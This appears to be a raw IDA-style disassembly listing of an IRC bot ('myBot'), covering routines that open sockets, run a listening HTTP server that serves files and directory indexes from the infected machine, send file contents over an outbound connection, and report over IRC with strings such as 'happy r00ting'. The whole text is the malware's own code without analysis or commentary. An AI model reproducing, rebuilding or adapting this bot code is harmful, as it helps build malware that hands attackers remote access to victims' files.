		lea	eax, [ebp+var_4C8]
		push	eax
		push	[ebp+var_6E0]
		call	sub_408C5D
		add	esp, 14h


loc_40E051:				; CODE XREF: sub_40DA9B+591j
		lea	eax, [ebp+var_8E0]
		push	eax
		call	sub_413B5E
		inc	dword_4CC308
		pop	ecx
		jmp	short loc_40E094
; ---------------------------------------------------------------------------


loc_40E066:				; CODE XREF: sub_40DA9B+50Fj
		push	esi
		push	20h
		push	offset a425CanTOpenDat ; "425 Can't open data connection.\n"
		jmp	short loc_40E08F
; ---------------------------------------------------------------------------


loc_40E070:				; CODE XREF: sub_40DA9B+4EBj
		lea	eax, [ebp+var_B0]
		push	offset aQuit	; "QUIT"
		push	eax
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E094
		push	esi
		push	1Bh
		push	offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"


loc_40E08F:				; CODE XREF: sub_40DA9B+340j
					; sub_40DA9B+377j ...
		push	[ebp+arg_0]


loc_40E092:				; CODE XREF: sub_40DA9B+304j
		call	ebx	; send


loc_40E094:				; CODE XREF: sub_40DA9B+3C2j
					; sub_40DA9B+560j ...
		push	64h
		lea	eax, [ebp+var_2A0]
		push	esi
		push	eax
		call	sub_417AA0
		mov	edi, [ebp+arg_0]
		add	esp, 0Ch


loc_40E0A9:				; CODE XREF: sub_40DA9B+151j
					; sub_40DA9B+17Aj ...
		inc	edi
		cmp	edi, [ebp+var_4]
		mov	[ebp+arg_0], edi
		jle	loc_40DBBA
		jmp	loc_40DB7F
; ---------------------------------------------------------------------------


loc_40E0BB:				; CODE XREF: sub_40DA9B+10Fj
		push	1
		pop	eax


loc_40E0BE:				; CODE XREF: sub_40DA9B+C1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_40DA9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E0C5	proc near		; CODE XREF: sub_40DA9B+505p

var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp+var_1A0]
		push	eax
		push	101h
		call	dword_4231D4	; WSAStartup
		push	0
		push	1
		push	2
		call	dword_423204	; socket
		push	[ebp+arg_0]
		mov	dword_4CC550, eax
		mov	[ebp+var_10], 2
		call	dword_4231F0	; inet_addr
		push	[ebp+arg_4]
		mov	[ebp+var_C], eax
		call	dword_4231F4	; htons
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	dword_4CC550
		call	dword_4231F8	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E13D
		push	dword_4CC550
		call	dword_423200	; closesocket
		call	dword_4231D0	; WSACleanup
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40E13D:				; CODE XREF: sub_40E0C5+60j
		push	1
		pop	eax
		leave
		retn
sub_40E0C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E142	proc near		; CODE XREF: sub_40DA9B:loc_40DFF3p

var_504		= byte ptr -504h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp+var_104]
		push	104h
		push	eax
		push	0
		call	dword_423070	; GetModuleFileNameA
		lea	eax, [ebp+var_104]
		push	offset dword_425068
		push	eax
		call	sub_417A18
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40E1D9
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_40E1BD
		push	edi
		mov	edi, 400h


loc_40E185:				; CODE XREF: sub_40E142+78j
		push	esi
		push	1
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_4177F0
		add	esp, 10h
		lea	eax, [ebp+var_504]
		push	0
		push	edi
		push	eax
		push	dword_4CC550
		call	dword_423208	; send
		push	1
		call	dword_423078	; Sleep
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_40E185
		pop	edi


loc_40E1BD:				; CODE XREF: sub_40E142+3Bj
		push	esi
		call	sub_41776B
		pop	ecx
		push	dword_4CC550
		call	dword_423200	; closesocket
		call	dword_4231D0	; WSACleanup
		push	1
		pop	eax


loc_40E1D9:				; CODE XREF: sub_40E142+35j
		pop	esi
		leave
		retn
sub_40E142	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E1DC	proc near		; DATA XREF: sub_401AC7+1DD6o
					; sub_40ABD2+475o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_418030
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_417AA0
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_4C9800	; htons
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_4C987C	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_40E5C7
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_43C74C[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4C982C	; bind
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E5C7
		push	7FFFFFFFh
		push	edi
		call	dword_4C9828	; listen
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E5C7
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4C9898	; ioctlsocket
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E5C7
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi


loc_40E2B3:				; CODE XREF: sub_40E1DC+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_4C97E8	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E5C2
		xor	esi, esi
		mov	[ebp+var_4], esi


loc_40E2E9:				; CODE XREF: sub_40E1DC+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_4C96FC	; __WSAFDIsSet
		test	eax, eax
		jz	loc_40E5AD
		cmp	esi, [ebp+var_C]
		jnz	short loc_40E36B
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_4C9890	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E5AD
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40E33D
		lea	edx, [ebp+var_134]


loc_40E331:				; CODE XREF: sub_40E1DC+15Fj
		cmp	[edx], eax
		jz	short loc_40E33D
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_40E331


loc_40E33D:				; CODE XREF: sub_40E1DC+14Dj
					; sub_40E1DC+157j
		cmp	ecx, ebx
		jnz	short loc_40E35A
		cmp	ebx, 40h
		jnb	short loc_40E35A
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx


loc_40E35A:				; CODE XREF: sub_40E1DC+163j
					; sub_40E1DC+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_40E5AD
		mov	[ebp+var_8], eax
		jmp	loc_40E5AD
; ---------------------------------------------------------------------------


loc_40E36B:				; CODE XREF: sub_40E1DC+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_417AA0
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_417AA0
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_4C9818	; recv
		test	eax, eax
		jg	short loc_40E3FE
		push	esi
		call	dword_4C9894	; closesocket
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_40E5AD
		lea	eax, [ebp+var_134]


loc_40E3BD:				; CODE XREF: sub_40E1DC+1EBj
		cmp	[eax], esi
		jz	short loc_40E3CE
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40E3BD
		jmp	loc_40E5AD
; ---------------------------------------------------------------------------


loc_40E3CE:				; CODE XREF: sub_40E1DC+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40E3F2
		lea	eax, [ebp+ecx*4+var_134]


loc_40E3DC:				; CODE XREF: sub_40E1DC+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40E3DC


loc_40E3F2:				; CODE XREF: sub_40E1DC+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_40E5AD
; ---------------------------------------------------------------------------


loc_40E3FE:				; CODE XREF: sub_40E1DC+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_417AA0
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_4176F0
		add	esp, 10h
		test	eax, eax
		jbe	loc_40E5AD


loc_40E42C:				; CODE XREF: sub_40E1DC+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_40E4D1
		mov	esi, offset aGet_0 ; "GET "
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40E4A5
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_4176F0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_40E4A5
		mov	eax, offset asc_42EF54 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_417E10
		pop	ecx
		pop	ecx
		push	eax
		call	sub_417E10
		pop	ecx
		pop	ecx
		push	eax
		call	sub_4185F4
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_4183B0
		add	esp, 10h
		jmp	short loc_40E4BC
; ---------------------------------------------------------------------------


loc_40E4A5:				; CODE XREF: sub_40E1DC+27Fj
					; sub_40E1DC+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_435C74 ; "\r\n"
		push	eax
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40E4F0


loc_40E4BC:				; CODE XREF: sub_40E1DC+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_40E4D1:				; CODE XREF: sub_40E1DC+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_4176F0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_40E42C
		jmp	loc_40E5AD
; ---------------------------------------------------------------------------


loc_40E4F0:				; CODE XREF: sub_40E1DC+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40E53A
		lea	eax, [ebp+var_134]


loc_40E4FC:				; CODE XREF: sub_40E1DC+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_40E50D
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40E4FC
		jmp	short loc_40E53D
; ---------------------------------------------------------------------------


loc_40E50D:				; CODE XREF: sub_40E1DC+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40E531
		lea	eax, [ebp+ecx*4+var_134]


loc_40E51B:				; CODE XREF: sub_40E1DC+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40E51B


loc_40E531:				; CODE XREF: sub_40E1DC+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_40E53D
; ---------------------------------------------------------------------------


loc_40E53A:				; CODE XREF: sub_40E1DC+318j
		mov	esi, [ebp+var_4]


loc_40E53D:				; CODE XREF: sub_40E1DC+32Fj
					; sub_40E1DC+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_40E5A6
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_4176F0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_4176F0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_40E5A6
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4C9898	; ioctlsocket
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_40E7B9
		add	esp, 14h
		jmp	short loc_40E5AD
; ---------------------------------------------------------------------------


loc_40E5A6:				; CODE XREF: sub_40E1DC+369j
					; sub_40E1DC+38Fj
		push	esi
		call	dword_4C9894	; closesocket


loc_40E5AD:				; CODE XREF: sub_40E1DC+11Dj
					; sub_40E1DC+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_40E2E9
		jmp	loc_40E2B3
; ---------------------------------------------------------------------------


loc_40E5C2:				; CODE XREF: sub_40E1DC+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx


loc_40E5C7:				; CODE XREF: sub_40E1DC+6Aj
					; sub_40E1DC+92j ...
		call	dword_4C979C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_435C4C
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_40E60D
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_408C5D
		add	esp, 14h


loc_40E60D:				; CODE XREF: sub_40E1DC+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_413B5E
		pop	ecx
		push	edi
		call	dword_4C9894	; closesocket
		push	[ebp+var_254]
		call	sub_40A51F
		pop	ecx
		push	ebx
		call	dword_4230CC	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_40E1DC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E637	proc near		; DATA XREF: sub_40E7B9+246o

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_418030
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_417D96
		xor	edi, edi
		add	esp, 10h
		cmp	[ebp+var_A4], edi
		jz	short loc_40E69C
		push	offset aTextHtml ; "text/html"
		jmp	short loc_40E6A1
; ---------------------------------------------------------------------------


loc_40E69C:				; CODE XREF: sub_40E637+5Cj
		push	offset aApplicationOct ; "application/octet-stream"


loc_40E6A1:				; CODE XREF: sub_40E637+63j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_417D96
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		call	dword_423104	; GetDateFormatA
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		call	dword_423100	; GetTimeFormatA
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_40E71A
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_417D96
		add	esp, 24h
		jmp	short loc_40E73B
; ---------------------------------------------------------------------------


loc_40E71A:				; CODE XREF: sub_40E637+C4j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_417D96
		add	esp, 28h


loc_40E73B:				; CODE XREF: sub_40E637+E1j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	dword_4C984C	; send
		cmp	[ebp+var_A4], edi
		jnz	short loc_40E77B
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_40F0EB
		pop	ecx
		pop	ecx
		jmp	short loc_40E798
; ---------------------------------------------------------------------------


loc_40E77B:				; CODE XREF: sub_40E637+12Cj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_40EA69
		add	esp, 10h


loc_40E798:				; CODE XREF: sub_40E637+142j
		push	[ebp+var_44C]
		call	dword_4C9894	; closesocket
		push	[ebp+var_B4]
		call	sub_40A51F
		pop	ecx
		push	edi
		call	dword_4230CC	; ExitThread
		pop	edi
		pop	esi
sub_40E637	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E7B9	proc near		; CODE XREF: sub_40E1DC+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_417AA0
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_40E7EF
		push	eax
		push	offset aS_2	; "\\%s"
		jmp	short loc_40E7F8
; ---------------------------------------------------------------------------


loc_40E7EF:				; CODE XREF: sub_40E7B9+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset dword_42E264


loc_40E7F8:				; CODE XREF: sub_40E7B9+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_4176F0
		test	eax, eax
		pop	ecx
		jbe	short loc_40E893
		mov	[ebp+arg_8], 2


loc_40E823:				; CODE XREF: sub_40E7B9+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_4176F0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_40E863
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_40E863
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_40E863
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_40E863
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_40E87D
; ---------------------------------------------------------------------------


loc_40E863:				; CODE XREF: sub_40E7B9+7Aj
					; sub_40E7B9+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_40E873
		push	5Ch
		pop	eax
		jmp	short loc_40E876
; ---------------------------------------------------------------------------


loc_40E873:				; CODE XREF: sub_40E7B9+B3j
		movsx	eax, al


loc_40E876:				; CODE XREF: sub_40E7B9+B8j
		mov	[ebp+ebx+var_210], al


loc_40E87D:				; CODE XREF: sub_40E7B9+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_4176F0
		cmp	esi, eax
		pop	ecx
		jb	short loc_40E823


loc_40E893:				; CODE XREF: sub_40E7B9+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset dword_42C204
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_314]
		push	offset asc_42C75C ; "\n"
		push	eax
		call	sub_4185F4
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		call	dword_423098	; GetFileAttributesA
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_40E8E1
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E8E4
		push	[ebp+arg_0]
		jmp	short loc_40E960
; ---------------------------------------------------------------------------


loc_40E8E1:				; CODE XREF: sub_40E7B9+11Cj
		mov	[ebp+var_4], esi


loc_40E8E4:				; CODE XREF: sub_40E7B9+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_40E8F1
		mov	[ebp+var_4], esi


loc_40E8F1:				; CODE XREF: sub_40E7B9+133j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_40E96B
		cmp	[ebp+arg_C], edi
		jz	short loc_40E95F
		lea	eax, [ebp+var_314]
		push	offset asc_42820C ; "*"
		push	eax
		call	sub_4183C0
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_40F1A8
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_417D96
		add	esp, 1Ch
		or	[ebp+var_330], 0FFFFFFFFh
		mov	[ebp+var_31C], esi
		jmp	short loc_40E9BA
; ---------------------------------------------------------------------------


loc_40E95F:				; CODE XREF: sub_40E7B9+14Fj
		push	ebx


loc_40E960:				; CODE XREF: sub_40E7B9+126j
		call	dword_4C9894	; closesocket
		jmp	loc_40EA62
; ---------------------------------------------------------------------------


loc_40E96B:				; CODE XREF: sub_40E7B9+14Aj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		call	dword_4230EC	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40E9BA
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_417D96
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		call	dword_423108	; GetFileSize
		push	esi
		mov	[ebp+var_330], eax
		call	dword_423068	; CloseHandle


loc_40E9BA:				; CODE XREF: sub_40E7B9+1A4j
					; sub_40E7B9+1CFj
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_435ECC
		push	eax
		call	sub_417D96
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_40A203
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_43C744[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_40E637
		push	edi
		push	edi
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43C754[ecx], eax
		jz	short loc_40EA34


loc_40EA22:				; CODE XREF: sub_40E7B9+279j
		cmp	[ebp+var_318], edi
		jnz	short loc_40EA62
		push	5
		call	dword_423078	; Sleep
		jmp	short loc_40EA22
; ---------------------------------------------------------------------------


loc_40EA34:				; CODE XREF: sub_40E7B9+267j
		push	ebx
		call	dword_4C9894	; closesocket
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_435E94
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_413B5E
		add	esp, 10h


loc_40EA62:				; CODE XREF: sub_40E7B9+1ADj
					; sub_40E7B9+26Fj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40E7B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EA69	proc near		; CODE XREF: sub_401AC7+6A63p
					; sub_40E637+159p

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_417AA0
		mov	edi, [ebp+arg_0]
		push	offset asc_42C75C ; "\n"
		push	edi
		call	sub_4185F4
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_40EAC8
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_417E90
		add	esp, 14h
		jmp	loc_40EBC5
; ---------------------------------------------------------------------------


loc_40EAC8:				; CODE XREF: sub_40EA69+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_40EBAB
		call	sub_4176F0
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_417E90
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C984C	; send
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_417E90
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_4176F0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4C984C	; send
		push	edi
		call	sub_4176F0
		push	3Ch
		push	96h
